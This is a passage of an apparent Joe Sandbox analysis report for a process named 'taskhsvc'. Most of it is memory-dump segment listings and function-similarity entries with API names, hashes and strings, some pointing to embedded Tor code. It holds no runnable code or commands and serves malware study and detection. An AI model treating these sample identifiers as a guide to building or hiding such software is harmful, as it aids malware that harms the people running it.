                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: abort$__stack_chk_fail$strrchr
                                        • String ID: d0
                                        • API String ID: 1113427550-780678378
                                        • Opcode ID: fba1cc1d6ba79d0a5a5a998f6f0fd6fe3c2b154f9a919f2227d914e1a5cdcc39
                                        • Instruction ID: caf54dd76b34a96c7a7554e1eacb456531798481377f34ba70c9c398cf114c12
                                        • Opcode Fuzzy Hash: fba1cc1d6ba79d0a5a5a998f6f0fd6fe3c2b154f9a919f2227d914e1a5cdcc39
                                        • Instruction Fuzzy Hash: 0671BE74A042099FCB04EFA8C5859ADBBF1EF88304F15C458E988AB355DB75EE80CF61
                                        Function 00C29D8C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 138stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failfreestrcmp
                                        • String ID: --defaults-torrc$--ignore-missing-torrc
                                        • API String ID: 1505556837-1565761774
                                        • Opcode ID: 3d4c4477230f16c6c27e1515138c24695061c13c0a7dc32dd6aa4e1e3fc65a30
                                        • Instruction ID: 2bb0990a842758cc78c29e034bd760bdb5238bdd9bac2672e867b71cb6e1808d
                                        • Opcode Fuzzy Hash: 3d4c4477230f16c6c27e1515138c24695061c13c0a7dc32dd6aa4e1e3fc65a30
                                        • Instruction Fuzzy Hash: CF51ADB4A04229DFCB10DFA8E5897ADBBF0FF08314F155829E855AB740D7749A80CF65
                                        Function 00BC63F3 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 121COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00CCE121: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BC6409), ref: 00CCE1A2
                                        • time.MSVCRT ref: 00BC648C
                                        • event_base_loop.LIBEVENT-2-0-5 ref: 00BC64B2
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC65E4
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$event_base_looptime
                                        • String ID: ../src/or/main.c$4'$c
                                        • API String ID: 1104678557-3677365949
                                        • Opcode ID: e95acce042d48749e39ecd7af16da35debc10c92a50119fd388948bcb8ddba7f
                                        • Instruction ID: 90d062abe6573c7b3d3fc6216991eb4d5a24c150791171534a4c414d8ae0615a
                                        • Opcode Fuzzy Hash: e95acce042d48749e39ecd7af16da35debc10c92a50119fd388948bcb8ddba7f
                                        • Instruction Fuzzy Hash: CF5145B09083059FDB00EFA5D885B6EBBF0FB44304F10891EE194AB391D778D985DB62
                                        Function 00DF6A10 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109filememoryCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: Virtual$ProtectQueryabortfwritevfprintf
                                        • String ID: @
                                        • API String ID: 1503958624-2766056989
                                        • Opcode ID: ecb7ec25e4b265a0f154d6f99f2fd057b15f3725aac175332cff31c02505bb91
                                        • Instruction ID: d346bd162ed5b251c436eb7b20091217a82f53fd4656a93f467b0eadfe1f1dd1
                                        • Opcode Fuzzy Hash: ecb7ec25e4b265a0f154d6f99f2fd057b15f3725aac175332cff31c02505bb91
                                        • Instruction Fuzzy Hash: 95413CB19043059FC700EF29D98466AFBE0FB89754F46C91DE989E7710E734E848CBA6
                                        Function 00D33BFD Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 97COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D33C50
                                        • abort.MSVCRT ref: 00D33CED
                                        • abort.MSVCRT ref: 00D33D40
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D33D71
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
